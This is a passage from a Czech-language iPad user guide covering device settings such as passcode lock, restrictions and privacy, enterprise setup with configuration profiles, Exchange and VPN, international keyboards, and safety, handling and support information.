zprávy. Také při poslechu hudby lze měnit hlasitost a používat tlačítko mikrofonu na sluchátkách. Nastavení doby, po jejímž uplynutí se iPad zamkne:  Otevřete Nastavení >Obecné > Uzamčení a nastavte čas. Kódový zámek Při odemykání iPad standardně nevyžaduje zadání přístupového kódu. Nastavení přístupového kódu:  Otevřete Nastavení > Obecné > Kódový zámek a nastavte čtyřmístný kód. Zabezpečení můžete posílit vypnutím volby Jednoduchý kód a nastavením delšího přístupového kódu. Pokud kód zapomenete, budete muset v zařízení iPad obnovit software. Viz Aktualizace a obnova softwaru zařízení iPad na stránce 139.Kapitola 27 Nastavení 122 Povolení přístupu, je-li iPad uzamčen: Otevřete Nastavení > Obecné > Kódový zámek. Siri můžete používat bez toho, že byste iPad odemkli. Viz Nastavení voleb pro Siri na stránce 39. Vymazání dat po deseti neúspěšných pokusech o zadání hesla: Otevřete Nastavení > Obecné > Kódový zámek a klepněte na Smazat data. Po deseti selháních při pokusu o zadání přístupového kódu budou obnoveny původní hodnoty vašich nastavení a všechna data a média budou smazána odstraněním šifrovacího klíče k datům (šifrovaným pomocí 256bitového šifrování AES). Uzamčení a odemčení iPadu pomocí pouzdra iPad můžete automaticky uzamykat a odemykat, používáte-li jej s pouzdrem iPad Smart Cover nebo iPad Smart Case (k dostání zvlášť). Je-li tato funkce zapnuta, iPad se při zavření pouzdra automaticky uzamkne a přejde do režimu spánku a při otevření pouzdra se opět probudí. Toto nastavení se zobrazí po připevnění pouzdra Smart Cover nebo iPad Smart Case. Omezení Pro některé aplikace a pro zakoupený obsah můžete nastavit omezení. Rodiče mohou například vypnout zobrazování hudby s explicitním obsahem v seznamech stop nebo zakázat instalaci aplikací. Zapnutí omezení:  Otevřete Nastavení > Obecné > Omezení a poté klepněte na Zapnout omezení. Budete požádáni o zadání kódu omezení, který bude nutné zadat před změnou vámi provedených nastavení. Tento kód je odlišný od kódu používaného k odemčení zařízení iPad. Důležité:  Pokud kód omezení zapomenete, budete muset v zařízení iPad obnovit software. Viz Aktualizace a obnova softwaru zařízení iPad na stránce 139. Omezení můžete nastavit pro následující aplikace: • Safari • Fotoaparát (a aplikace, které jej využívají) • FaceTime • iTunes Store • iBookstore • Siri Dále můžete nastavit následující omezení: • Instalace aplikací: Vypne se App Store a ikona aplikace bude odstraněna z plochy. Nemůžete na iPad instalovat aplikace. • Mazání aplikací: Ze zařízení iPad nemůžete mazat aplikace. se nezobrazuje v ikonách aplikací při přizpůsobování plochy. • Explicitní jazyk: Siri se pokusí nahradit nevhodná slova, která vyslovíte, hvězdičkami a pípáním. • Soukromí: Aktuální nastavení soukromí pro Polohové služby, Kontakty, Kalendáře, Připomínky, Obrázky, Nastavení Bluetooth, Twitter a Facebook je možné jednotlivě uzamknout. • Účty: Aktuální nastavení Pošta, kontakty, kalendáře je uzamčeno. Nelze přidávat, upravovat ani odstraňovat účty. Rovněž nelze změnit nastavení iCloudu. • Hledat přátele: Aktuální nastavení Hledat přátele jsou uzamčena. Tato volba je k dispozici, pokud je aplikace Hledat přátele nainstalována. • Limit hlasitosti: Aktuální nastavení limitu hlasitosti je uzamčeno.Kapitola 27 Nastavení 123 • Nákupy v aplikacích: Pokud je volba Nákupy v aplikacích vypnutá, nemůžete nakupovat další data či funkce aplikací stažených z obchodu App Store. • Vyžadování hesel: Po uplynutí zadaného časového intervalu vyžaduje při nákupech v aplikacích zadání vašeho Apple ID. • Omezení obsahu: Klepněte na Hodnocení a vyberte zemi ze seznamu. Poté nastavte omezení pro hudbu a podcasty, knihy, filmy, TV pořady a aplikace. Obsah, který nevyhovuje vámi vybranému hodnocení, se na zařízení iPad neobjeví. • Hry pro více hráčů: Je-li vypnutá volba Hry pro více hráčů, nemůžete si vyžádat zápas, odeslat ani přijmout pozvání k hraní her a přidat do Game Centra nové přátele. • Přidávání přátel: Je-li vypnuto přidávání přátel, nemůžete v Game Centru odesílat ani přijímat žádosti o přátelství. Je-li zapnutá volba Pro více hráčů, můžete dál hrát se stávajícími přáteli. Postranní přepínač Postranní přepínač můžete použít k uzamčení orientace obrazovky nebo k vypnutí zvuku oznámení a zvukových efektů. Uzamčení obrazovky v orientaci na šířku:  Vyberte Nastavení > Obecné > Použít postranní přepínač a klepněte na tlačítko Uzamknout rotaci. Vypnutí zvuku oznámení a ostatních zvukových efektů:  Vyberte Nastavení > Obecné > „Použití postranního přepínače“ a klepněte na Vypnout zvuk. Postranní přepínač nevypne zvuk přehrávaného audia nebo videa. Tyto zvuky můžete ztišit pomocí tlačítek hlasitosti na straně zařízení. Gesta souběžných úloh Gesta pro souběžné úlohy umožňují rychle přepínat mezi aplikacemi, zobrazit panel souběžných úloh a přejít na plochu. Viz Gesta souběžných úloh na stránce 20. Datum a čas Toto nastavení ovlivňuje čas zobrazovaný ve stavovém řádku na horním okraji obrazovky a ve světových hodinách a kalendářích. Určení, zda má iPad zobrazovat 24hodinový nebo 12hodinový čas:  Otevřete Nastavení > Obecné > Datum a čas a zapněte nebo vypněte 24hodinový čas. (24hodinový čas nemusí být k dispozici ve všech oblastech.) Určení, zda má iPad automaticky aktualizovat datum a čas: Otevřete Nastavení > Obecné > Datum a čas a zapněte nebo vypněte volbu Nastavit automaticky. Aktivujete-li v zařízení iPad automatickou aktualizaci času, bude se správný čas načítat přes mobilní datovou síť (modely Wi-Fi + cellular) nebo přes Wi-Fi. V určitých případech se může stát, že iPad nedokáže automaticky nastavit místní čas. Ruční nastavení data a času: Otevřete Nastavení > Obecné > Datum a čas a vypněte volbu Nastavit automaticky. Klepněte na Časové pásmo a nastavte vaše časové pásmo. Klepněte na tlačítko Datum a čas a poté klepněte na Nastavit datum a čas. Klávesnice Podle potřeby můžete zapnout klávesnice pro psaní v různých jazycích a zapínat nebo vypínat různé funkce pro psaní, například kontrolu pravopisu. Další informace o volbách klávesnice viz Psaní na stránce 23. Informace o používání národních klávesnic viz Dodatek B, Národní klávesnice, na stránce 129.Kapitola 27 Nastavení 124 Národní volby Otevřete Nastavení > Obecné > Národní volby a nastavte následující: • Jazyk používaný iPadem • Formát kalendáře • Klávesnici • Formáty data, času a čísel Zpřístupnění Otevřete Nastavení > Obecné > Zpřístupnění a zapněte požadované funkce. Viz Kapitola 26, Zpřístupnění, na stránce 102. Profily Toto nastavení se zobrazí, nainstalujete-li na iPad jeden nebo více profilů. Klepnutím na Profily zobrazíte informace o instalovaných profilech. Další informace o profilech viz Dodatek A, iPad v podnikání, na stránce 127. Obnovit Obnovit můžete výchozí stav slovníku, nastavení sítě, uspořádání plochy a varování polohových služeb. Také můžete vymazat veškerý svůj obsah a nastavení. Obnova výchozího stavu zařízení iPad: Použijte příkaz Nastavení > Obecné > Obnovit a vyberte požadovanou volbu: • Resetování všech parametrů: Budou obnoveny všechny předvolby a nastavení. • Vymazání veškerého obsahu a nastavení: Vaše data a nastavení budou odstraněna. iPad nebude možné používat, dokud jej znovu nenastavíte. • Resetování nastavení sítě: Pokud obnovíte síťová nastavení, bude odstraněn seznam dříve použitých nastavení sítě a VPN vyjma nastavení instalovaných konfiguračním profilem. Wi-Fi se vypne a zase zapne a odpojí vás od všech připojených sítí. Volby Wi-Fi a „Výzva pro připojení“ zůstávají zapnuté. Chcete-li odstranit parametry VPN nastavené konfiguračním profilem, vyberte Nastavení > Obecné > Profil, poté vyberte profil a klepněte na Odstranit. Tím zároveň odstraníte další nastavení a účty obsažené v profilu. • Vynulování slovníku klávesnice: Slova do slovníku klávesnice přidáváte odmítáním slov, které vám iPad navrhuje při psaní. Při vynulování slovníku klávesnice jsou z tohoto slovníku vymazána všechna přidaná slova. • Obnovení uspořádání plochy: Obnoví původní rozmístění předinstalovaných aplikací na ploše. • Obnovení varování pro polohové služby: Obnoví tovární nastavení polohových služeb a nastavení soukromí.Kapitola 27 Nastavení 125 Zvuky iPad můžete nastavit tak, aby přehrál zvuk vždy, když obdržíte novou zprávu, e-mail, hovor, tweet, příspěvek na Facebooku, hlasovou zprávu nebo připomínku. Můžete také nastavit přehrávání zvuků pro schůzky, odeslané e-maily, při stisknutí kláves a při zamknutí zařízení iPad. Změna nastavení zvuku: Otevřete Nastavení > Zvuk. K dispozici jsou tyto volby: • Úprava hlasitosti zvonění a upozornění. • Nastavení zvuků upozornění a dalších zvuků • Zapnutí klapání klávesnice a zvuku při uzamčení zařízení iPad. Jas a tapeta Jas obrazovky ovlivňuje výdrž baterie. Ztlumením obrazovky můžete prodloužit dobu, po kterou nebude iPad třeba nabíjet. Také můžete použít automatický jas. Úprava jasu obrazovky:  Otevřete Nastavení > Jas a přetáhněte jezdec do požadované polohy. Je-li zapnutý automatický jas, iPad upravuje jas obrazovky podle aktuálních světelných podmínek s použitím vestavěného čidla okolního osvětlení. Nastavení tapety vám umožňují nastavit fotografickou nebo obrázkovou tapetu na uzamčenou obrazovku nebo na plochu. Viz Změna tapety na stránce 22. Rámeček obrázku Funkce Rámeček obrázku promění iPad na animovaný fotorámeček. Vyberte přechod, nastavte dobu zobrazování fotografií a vyberte album. Vyberte, zda budou zvětšovány tváře a zda budou fotografie promítány v náhodném pořadí. Spuštění funkce Rámeček obrázku:  Klepněte na na zamčené obrazovce. Odstranění tlačítka Rámeček obrázku z uzamčené obrazovky: Otevřete Nastavení > Obecné > Kódový zámek. Soukromí Nastavení Soukromí vám poskytují kontrolu nad tím, které aplikace a systémové služby mají přístup k Polohovým službám, kontaktům, kalendářům, připomínkám a fotografiím. Polohové služby umožňují polohově závislým aplikacím, jako jsou Připomínky, Mapy a Fotoaparát, shromažďovat a využívat data informující o vaší poloze. Vaše přibližná poloha je zjišťována na základě informací dostupných z dat mobilní sítě (modely Wi-Fi + cellular), místních Wi-Fi sítí (je-li zapnuté Wi-Fi rozhraní) a z GPS (nemusí být k dispozici ve všech oblastech). Polohová data nejsou ze strany společnosti Apple shromažďována způsobem, který by umožnil vaši identifikaci. Pokud některá aplikace používá polohové služby, objeví se v řádku nabídky symbol . Zapnutí nebo vypnutí polohových služeb:  Otevřete Nastavení > Soukromí > Polohové služby. Můžete je vypnout jen pro některé nebo pro všechny aplikace. V případě, že polohové služby vypnete, budete vyzváni k jejich opětovnému zapnutí, jakmile se je daná aplikace nebo služba pokusí znovu použít.Kapitola 27 Nastavení 126 Vypnutí polohových služeb pro systémové služby: Některé systémové služby, například polohově závislé reklamy iAds,využívají Polohové služby. Chcete-li zobrazit jejich stav, vypnout je nebo zapnout či zobrazit ve stavovém řádku ikonu , pokud tyto aplikace přistupují k Polohovým službám, otevřete Nastavení > Soukromí > Polohové služby > Systémové služby. Vypnutí přístupu k soukromým informacím: Otevřete Nastavení > Soukromí. Uvidíte aplikace, které si úspěšně vyžádaly přístup k následujícím informacím: • Kontakty • Kalendáře • Připomínky • Obrázky • Sdílení Bluetooth • Twitter • Facebook Pro každou aplikaci můžete přístup k těmto informacím selektivně vypnout. V podmínkách a ujednáních pro aplikace od třetích stran si můžete přečíst, jak tyto aplikace používají data, jež si vyžádaly.A 127 iPad v podnikovém prostředí S podporou zabezpečeného přístupu do podnikových sítí, adresářů a služeb Microsoft Exchange je iPad připraven pustit se do práce. Podrobné informace o používání iPadu v podnikání najdete na adrese www.apple.com/ipad/business. Použití konfiguračních profilů Pokud se nacházíte v podnikovém prostředí, je možné, že lze nastavit účty a další položky na zařízení iPad instalací instalace konfiguračního profilu. Konfigurační profily umožní správci systému nastavit váš iPad pro přístup do informačních systémů ve vaší firmě, škole nebo organizaci. Konfigurační profil může například nastavit váš iPad pro přístup k Microsoft Exchange serverům v zaměstnání, takže může iPad přistupovat k Exchange poště, kalendářům a kontaktům a může aktivovat kódový zámek za účelem zabezpečení těchto dat. Správce systému vám může poslat konfigurační profily e-mailem, umístit je na zabezpečenou webovou stránku nebo je přímo nainstalovat do zařízení iPad. Správce vás může požádat o instalaci profilu, který váš iPad sváže se serverem pro správu mobilních zařízení a umožní tak správci nastavit konfiguraci vašeho zařízení na dálku. Instalace konfiguračních profilů:  V zařízení iPad otevřete e-mailovou zprávu nebo stáhněte konfigurační profily z webové stránky poskytnuté správcem systému. Když konfigurační profil otevřete, spustí se jeho instalace. Důležité:  Je možné, že se zobrazí dotaz, zda je konfigurační profil důvěryhodný. Pokud máte pochybnosti, zeptejte se před instalací svého správce. Nastavení definovaná konfiguračním profilem nemůžete měnit. Pokud chcete nastavení změnit, musíte nejprve konfigurační profil odstranit. Odstranění konfiguračního profilu:  Otevřete Nastavení > Obecné > Profil, vyberte konfigurační profil a klepněte na Odstranit. Odstraněním konfiguračního profilu budou smazána nastavení a veškerá další data, která byla profilem nainstalována. Nastavení účtů Microsoft Exchange Microsoft Exchange poskytuje data e-mailů, kontaktů, úloh a kalendářů, která můžete automaticky a bezdrátově synchronizovat se zařízením iPad. Účet Exchange můžete též nastavit přímo v zařízení iPad. Nastavení účtu Exchange v zařízení iPad:  Vyberte Nastavení > Pošta, kontakty, kalendáře. Klepněte na Přidat účet a poté na Microsoft Exchange. Zeptejte se svého poskytovatele služby nebo správce, jaká nastavení máte použít. iPad v podnikání DodatekDodatek A iPad v podnikání 128 Přístup přes VPN VPN (virtuální privátní síť) poskytuje prostřednictvím Internetu zabezpečený přístup do privátních sítí, například do sítě vaší firmy nebo školy. V zařízení iPad VPN nastavíte a zapnete v nastavení Síť. Poraďte se se správcem systému, která nastavení použít. VPN je též možno nastavit automaticky pomocí konfiguračního profilu. Pokud je VPN nastavena konfiguračním profilem, iPad ji může v případě potřeby kdykoliv automaticky zapnout. Další informace vám poskytne správce systému. Účty LDAP a CardDAV Pokud nastavíte účet LDAP, můžete zobrazovat a hledat kontakty na LDAP serveru vaší organizace. Server se zobrazí jako nová skupina v Kontaktech. Protože kontakty LDAP se do zařízení iPad nestahují, zobrazíte je jen s aktivním připojením k Internetu. Požádejte vašeho správce systému o nastavení účtu a dalšího (například VPN). Po nastavení účtu CardDAV budou vaše kontakty bezdrátově synchronizovány se zařízením iPad. Účet CardDAV vám také může zprostředkovat vyhledávání kontaktů na CardDAV serveru vaší organizace. Nastavení účtu LDAP nebo CardDAV:  Vyberte Nastavení > Pošta, kontakty, kalendáře a klepněte na Přidat účet. Klepněte na Jiné. Zeptejte se svého poskytovatele služby nebo správce, jaká nastavení máte použít.B 129 Použití národních klávesnic Národní klávesnice umožňují zadávat text v mnoha různých jazycích včetně asijských jazyků a jazyků psaných zprava doleva. Seznam podporovaných klávesnic najdete na adrese www.apple.com/cz/ipad/specs.html. Správa klávesnic:  Vyberte Nastavení > Obecné > Národní volby > Klávesnice. • Přidání klávesnice:  Klepněte na Přidat klávesnici a poté vyberte klávesnici ze seznamu. Chcete-li přidat další klávesnice, opakujte postup. • Odstranění klávesnice:  Klepněte na Upravit, dále klepněte na u klávesnice, kterou chcete odstranit, a poté klepněte na Smazat. • Úprava seznamu klávesnic:  Klepněte na Upravit a poté přetáhnete symbol u klávesnice na nové místo v seznamu. Chcete-li zadat text v jiném jazyce, přepněte klávesnici. Přepínání klávesnic při psaní:  Dotykem a podržením klávesy s glóbem zobrazíte všechny povolené klávesnice. Chcete-li vybrat klávesnici, sklouzněte prstem na název požadované klávesnice a zvedněte prst. Klávesa s glóbem se zobrazí pouze v případě, že zapnete více než jednu klávesnici. Také můžete prostě klepnout na . Po klepnutí na symbol se krátce zobrazí název nově vybrané klávesnice. Dalším klepáním získáte přístup k dalším aktivovaným klávesnicím. Mnoho klávesnic umožňuje zadat písmena, čísla a symboly, které nejsou na klávesnici vidět. Zadávání znaků s diakritikou a jiných znaků:  Dotkněte se souvisejícího písmene, číslice nebo symbolu, podržte na něm prst a poté posunutím prstu vyberte variantu. Například: • Na thajské klávesnici:  Nativní číslice vyberete dotykem a podržením prstu na příslušné arabské číslici. • Na čínské, japonské a arabské klávesnici:  V horní části klávesnice se zobrazují navrhované neboli kandidátské znaky. Chcete-li některého kandidáta zadat, klepněte na něj. Švihnutím doleva zobrazíte další kandidáty. Použití rozšířeného seznamu kandidátů:  Klepnutím na šipku nahoru po pravé straně zobrazíte úplný seznam kandidátů. • Posouvání seznamu:  Švihněte nahoru nebo dolů. • Návrat do zkráceného seznamu:  Klepněte na šipku dolů. Některé čínské a japonské klávesnice umožňují vytváření zkratek pro slova a vstupní dvojice. Zkratky se přidávají do vašeho osobního slovníku. Zadáte-li na podporované klávesnici zkratku, nahradí ji párové slovo nebo vstupní dvojice. Národní klávesnice DodatekDodatek B Národní klávesnice 130 Zapnutí nebo vypnutí zkratek:  Vyberte Nastavení > Obecné > Klávesnice > Zkratky. Zkratky jsou k dispozici pro následující klávesnice: • Zjednodušená čínština:  Pchin-jin • Tradiční čínština:  Pchin-jin a Ču-jin • Japonština:  Rómadži a 50klávesová Speciální metody zadávání K zadávání textu v některých jazycích lze klávesnici používat odlišnými způsoby. Příkladem jsou čínské metody cchang-ťie, wu-pi-chua, japonská kana a emotikony. Čínské znaky též můžete psát na na obrazovku prstem nebo pomocí stylusu. Sestavování čínských znaků ze složkových kláves metodou cchang-ťie:  Při psaní se objevují navrhované znaky. Klepnutím vyberte znak nebo pokračujte v zadávání až pěti komponent – zobrazí se další volby. Sestavování čínských znaků metodou wu-pi-chua (tahovou):  Pomocí číselníku můžete sestavovat čínské znaky až z pěti tahů ve správném pořadí psaní: vodorovný, svislý, skloněný doleva, skloněný doprava a zalomený. Např. čínský znak 圈 (kruh) by měl začínat svislým tahem 丨. • Při psaní se zobrazují návrhy čínských znaků (nejběžnější znaky se objeví nejdříve). Klepnutím vyberte znak. • Pokud si nejste jisti správným tahem, zadejte hvězdičku (*). Chcete-li zobrazit další volby, zadejte další tah nebo procházejte seznamem znaků. • Klepnutím na klávesu shody (匹配) zobrazíte pouze znaky, které se přesně shodují s vaším zadáním. Psaní čínských znaků:  Je-li zapnutý rukopisný režim zjednodušené nebo tradiční čínštiny, můžete čínské znaky psát přímo prstem na obrazovku. iPad při psaní rozezná tahy znaků a zobrazí seznam shodných znaků s nejlepší shodou nahoře. Při výběru znaku se v seznamu jako dodatečné volby zobrazí pravděpodobné volby následných znaků. Touchpad TouchpadDodatek B Národní klávesnice 131 Některé složité znaky, například 鱲 (část názvu Hongkongského mezinárodního letiště), 𨋢 (výtah) nebo 㗎 (částice používaná v kantonštině), lze napsat postupným zadáním dvou nebo více složkových znaků. Klepnutím na znak nahradíte zadané znaky. Rozpoznávány jsou také římské znaky. Psaní japonskou kanou:  Na klávesnici Kana vyberte písmenné znaky. Více voleb znaků zobrazte klepnutím na klávesu se šipkou a v okně vyberte další znak nebo slovo. Psaní japonskou rómadži:  K zadávání slabik použijte klávesnici rómadži. Podél horního okraje klávesnice vidíte další alternativy – chcete-li některou vybrat, klepněte na ni. Více voleb znaků zobrazte klepnutím na klávesu se šipkou a v okně vyberte další znak nebo slovo. Psaní japonských smajlíků neboli emotikon (Facemarks):  Klepněte na klávesu ^_^ na japonské klávesnici Kana. Další možnost: • Také můžete použít japonskou klávesnici Rómadži (QWERTY – japonské rozložení):  Klepněte na klávesu Číslo a potom na klávesu ^_^. • Použít lze i čínskou klávesnici Pchin-jin (zjednodušená i tradiční čínština) nebo Ču-jin (tradiční čínština):  Klepněte na klávesu Symboly a potom na klávesu ^_^.C 132 Důležité informace o bezpečnosti VAROVÁNÍ:  Nedodržení těchto bezpečnostních pokynů může vést k požáru, úrazu elektrickým proudem nebo jiné úhoně či k poškození zařízení iPad nebo jiného majetku. Před použitím zařízení iPad si přečtěte všechny níže uvedené informace. Zacházení  Se zařízením iPad zacházejte šetrně. iPad je vyroben z kovu, skla a plastů a obsahuje citlivé elektronické součásti. Pokud iPad upustíte, vystavíte ohni, prorazíte, zdeformujete nebo vystavíte kapalinám, může dojít k jeho poškození. Poškozený iPad (například s prasklou obrazovkou) nepoužívejte, protože byste se mohli vystavit nebezpečí úrazu. Pokud máte obavu z poškrábání pláště iPodu touch, zkuste uvážit použití pouzdra. Opravy iPad nerozebírejte a nepokoušejte se jej svépomocně opravit. Rozebíráním zařízení iPad si můžete přivodit zranění nebo můžete iPad poškodit. Pokud je iPad poškozený, nefunguje nebo byl vystaven působení tekutin, kontaktujte společnost Apple nebo poskytovatele oprav autorizovaného společností Apple. Další informace o dostupném servisu najdete na adrese www.apple.com/support/ipad/service/faq. Baterie  Baterii zařízení iPad se nepokoušejte vyměnit sami. Mohli byste ji poškodit a způsobit tak její přehřívání, které by mohlo vést až k úrazu. Lithium-iontová baterie v zařízení iPad by měla být vyměněna pouze u společnosti Apple nebo u poskytovatele oprav autorizovaného společností Apple a musí být recyklována nebo zlikvidována odděleně od domovního odpadu. Baterii nevhazujte do ohně. Informace o recyklaci a výměně baterií najdete na adrese www.apple.com/cz/batteries/. Ztráta pozornosti Používání zařízení iPad vás za určitých okolností může rozptylovat a může přivodit nebezpečnou situaci. Řiďte se pravidly, která zakazují nebo omezují používání mobilních zařízení a sluchátek (například nepište zprávy při řízení automobilu ani nepoužívejte sluchátka při jízdě na bicyklu). Navigace Mapy, trasy, Flyover a aplikace využívající určení polohy jsou závislé na datových službách. Tyto datové služby se mohou měnit a nemusí být k dispozici ve všech oblastech. Důsledkem toho mohou být mapy, trasy, Flyover nebo informace závisející na poloze nedostupné, nepřesné nebo neúplné. Porovnejte informace poskytnuté v zařízení iPad s vaším okolím a případné rozdíly řešte pomocí ukazatelů na cestě. Některé funkce Map vyžadují spolupráci s polohovými službami. Viz Soukromí na stránce 125. Při využívání navigace se řiďte zdravým rozumem. Bezpečnost, zacházení a podpora DodatekDodatek C Bezpečnost, zacházení a podpora 133 Nabíjení  iPad nabíjejte pomocí přiloženého USB kabelu a síťového adaptéru nebo kabelů a síťových adaptérů od jiných výrobců opatřených logem „Made for iPad“ a kompatibilních se standardem USB 2.0. Použití poškozených kabelů nebo nabíječek nebo nabíjení ve vlhkém prostředí může vést k úrazu elektrickým proudem. Pokud k nabíjení zařízení iPad používáte příslušenství Apple USB Power Adapter, před zapojení adaptéru do zásuvky zkontrolujte, zda je do adaptéru úplně zasunuta zástrčka nebo síťová šňůra. Síťové adaptéry se během normálního používání mohou zahřát a delší kontakt s nimi může vést ke úrazu. Při používání síťových adaptérů vždy zajistěte dostatečnou cirkulaci vzduchu v jejich okolí. Poškození sluchu  Poslech zvuku při vysoké hlasitosti může vést k poškození vašeho sluchu. Zvuky na pozadí nebo delší poslech při vysoké hlasitosti mohou vyvolat dojem, že zvuk je tišší než ve skutečnosti. Předtím, než zasunete sluchátka do uší, zapněte zvuk a zkontrolujte úroveň hlasitosti. Informace o poškození sluchu najdete na www.apple.com/sound. Informace o nastavení limitu hlasitosti na zařízení iPad najdete v části Nastavení aplikace Hudba na stránce 87. VAROVÁNÍ:  Předcházejte poškození sluchu a neposlouchejte zvuk při vysoké hlasitosti po delší dobu. Náhlavní soupravy Apple  Náhlavní soupravy prodávané s iPhonem 4S nebo novějším v Číně (identifikovatelné podle tmavých izolačních kroužků na konektoru) vyhovují čínským normám a jsou kompatibilní s iPhonem 4S a novějšími, iPadem 2 a novějšími a iPodem touch 5. generace. Se svým zařízením používejte pouze kompatibilní náhlavní soupravy. Rádiové signály  iPad používá pro připojení k bezdrátovým sítím rádiové signály. Informace o přenosové energii těchto signálů a o krocích, které můžete podniknout za účelem minimalizace expozice najdete v Nastavení > Obecné > Informace > Copyright > RF expozice. Interference v pásmu rádiových frekvencí  Řiďte se výstražnými tabulemi, které zakazují nebo omezují používání mobilních zařízení (například v nemocnicích a oblastech odstřelů). I když byl iPad navržen, vyroben a testován se zřetelem na vyhovění nařízením, které upravují vysílání ve frekvenčním pásmu rádiových vln, vysílání rádiových vln ze zařízení iPad může negativně ovlivnit funkci jiných elektronických zařízení a způsobit jejich selhání. V místech, ve kterých je zakázáno používání bezdrátových vysílačů a přijímačů, například na palubě letadla, nebo tam, kde k tomu budete vyzváni příslušnými orgány, iPad vypněte nebo iPad přepněte do letového režimu. Léčebná zařízení  iPad obsahuje rádiové vysílače, které vytváření elektromagnetická pole. Tato elektromagnetická pole mohou negativně ovlivnit činnost kardiostimulátorů a jiných léčebných zařízení. V případě, že používáte kardiostimulátor, udržujte mezi ním a zařízením iPad vzdálenost minimálně 15 cm. Pokud máte podezření, že iPad negativně ovlivňuje činnost vašeho kardiostimulátoru nebo jiného léčebného zařízení, přestaňte iPad používat a požádejte svého lékaře o další informace. iPad obsahuje magnety umístěné u levého okraje a na pravé straně čelního skla. Tyto magnety mohou negativně ovlivnit činnost kardiostimulátorů, defibrilátorů a dalších léčebných zařízení. Příslušenství iPad Smart Cover a iPad Smart Case také obsahují magnety. Mezi zařízením iPad nebo příslušenstvím iPad Smart Cover a iPad Smart Case a kardiostimulátorem nebo defibrilátorem udržujte vzdálenost minimálně 15 cm. Zdravotní stav  Pokud trpíte záchvaty, ztrátami vědomí, únavou očí, bolestmi hlavy nebo jinými potížemi, které by používáním zřízení iPad mohly být ovlivněny, poraďte se před použitím zařízení iPad se svým lékařem. Dodatek C Bezpečnost, zacházení a podpora 134 Potenciálně výbušná prostředí  iPad nenabíjejte ani nepoužívejte v potenciálně výbušných prostředích, například u čerpacích stanic nebo v oblastech, ve kterých jsou ve vzduchu rozptýleny chemikálie nebo částice (například kovový prach). Řiďte se výstražnými tabulemi a značeními. Opakující se pohyby  Pokud provádíte neustále se opakující činnosti, například na iPadu píšete nebo hrajete hry, můžete se setkat s příležitostným nepohodlím v rukou, pažích, zápěstích, ramenech, krku nebo jiných částech těla. Pokud pocítíte nepohodlí, přestaňte iPad používat a poraďte se se svým lékařem. Činnosti se závažnými důsledky  Toto zařízení není určeno k takovému využití, při kterém by jeho selhání mohlo způsobit smrt, újmu na zdraví nebo závažné škody na životním prostředí. Nebezpečí udušení  Některé součásti iPadu mohou představovat nebezpečí udušení pro malé děti. Tato příslušenství udržujte mimo jejich dosah. Důležité informace o zacházení se zařízením Čištění iPad očistěte ihned poté, co přišel do styku s látkami, jež mohou způsobit znečištění – špínou, inkoustem, kosmetickými přípravky nebo jinými roztoky. Postup čištění: • Odpojte od zařízení iPad všechny kabely a vypněte jej (stiskněte a přidržte tlačítko Spánek/ probuzení a poté posuňte jezdec na obrazovce). • Použijte měkký hadřík, který nepouští vlákna. • Zabraňte vniknutí vlhkosti do otvorů. • Nepoužívejte žádné čisticí prostředky ani stlačený vzduch. Čelní strana zařízení iPad je vyrobena ze skla opatřeného vrstvou odpuzující mastnotu, která je odolná vůči dotykům prstů. Tato vrstva se při běžném používání pomalu opotřebovává. Čisticí prostředky a brusné pasty její stírání urychlují a mohou poškrábat sklo. Brusné materiály mohou též způsobit poškrábání zařízení iPad. Používání konektorů, zdířek a tlačítek  K zasouvání konektorů do zdířek nikdy nepoužívejte nadměrnou sílu ani silou nemačkejte tlačítka. Takovéto zacházení může vést k poškození, na něž se nevztahuje záruka. Pokud není možné zasunout konektor do zdířky bez použití síly, pravděpodobně nejsou kompatibilní. Zkontrolujte, zda zasunutí konektoru nebrání cizí tělesa a zda je konektor vůči zdířce ve správné poloze. Lightning  Změna zbarvení na zdířce rozhraní Lightning při pravidelném používání je normální. Změna zbarvení může být způsobena nečistotami, prachem a používáním kapalin. Chcete-li změnu zbarvení odstranit nebo pokud se kabel při používání zahřeje nebo se váš iPad nedobíjí či nesynchronizuje, odpojte Lightning kabel od počítače či síťového adaptéru a očistěte jej čistou látkou, ze které se neuvolňují vlákna. K čištění Lightning konektoru nepoužívejte kapaliny ani čistící prostředky. Provozní teplota  iPad je určen pro práci při teplotě okolí v rozmezí 0 až 35 °C a skladovat jej lze při teplotách od -20 do 45 °C. Skladování nebo provozování iPadu mimo tyto teplotní rozsahy může vést k jeho poškození a zkrácení životnosti baterií. Předcházejte náhlým změnám teploty nebo vlhkosti prostředí v okolí zařízení iPad. Zahřátí zařízení iPad při používání nebo při dobíjení baterie zařízení iPad je normální.Dodatek C Bezpečnost, zacházení a podpora 135 Překročí-li vnitřní teplota zařízení iPad běžnou provozní teplotu (například při delším umístění v rozpáleném autě nebo na přímém slunci), může se jeho aktivní regulace teploty projevit následujícími změnami: • iPad se přestane nabíjet. • Ztlumí se displej. • Zobrazí se varování o teplotě. • Mohou se zavřít některé aplikace. Důležité:  Pokud je na zařízení iPad zobrazeno varování o teplotě, nelze jej v některých případech používat. Pokud iPad nedokáže regulovat svou vnitřní teplotu, přejde do režimu hlubokého spánku, dokud nezchladne. Přemístěte iPad na chladnější místo mimo přímý dosah slunečního světla a před dalším pokusem o použití zařízení iPad několik minut vyčkejte. Další informace naleznete v článku support.apple.com/kb/HT2101?viewlocale=cs_CZ. Podpora pro iPad Souhrnné informace podpory jsou k dispozici v Internetu na adrese www.apple.com/cz/support/ipad. Chcete-li si u společnosti Apple vyžádat osobní podporu (není k dispozici ve všech oblastech), navštivte stránku expresslane.apple.com. Zobrazuje se obrázek vybité baterie nebo zpráva „Nenabíjí se“ iPad má nedostatek energie a potřebuje se před dalším použitím nabíjet až dvacet minut. Informace o nabíjení zařízení iPad viz Baterie na stránce 35. nebo nebo • K nabíjení používejte vždy síťový USB adaptér dodaný spolu se zařízením iPad nebo USB rozhraní na některém z nových počítačů Mac. Nejrychlejší způsob nabití je pomocí síťového adaptéru. Viz Baterie na stránce 35. • Pokud iPad vypnete, bude se nabíjet rychleji. • Připojíte-li iPad k rozhraní USB staršího modelu počítače Mac, k počítači PC, klávesnici nebo USB rozbočovači, je možné, že se nebude nabíjet. Pokud váš Mac nebo PC neposkytuje dostatek energie pro dobití zařízení iPad, ve stavovém řádku se objeví zpráva Nenabíjí se. Chcete-li iPad nabít, odpojte jej od počítače a zapojte jej do zásuvky pomocí přiloženého USB kabelu a síťového USB adaptéru. iPad nereaguje • Je možné, že iPad nemá dostatek energie. Připojte iPad k síťovému USB adaptéru a nabijte jej. Viz Baterie na stránce 35. • Stiskněte a na několik sekund přidržte tlačítko Spánek/probuzení, dokud se neobjeví červený 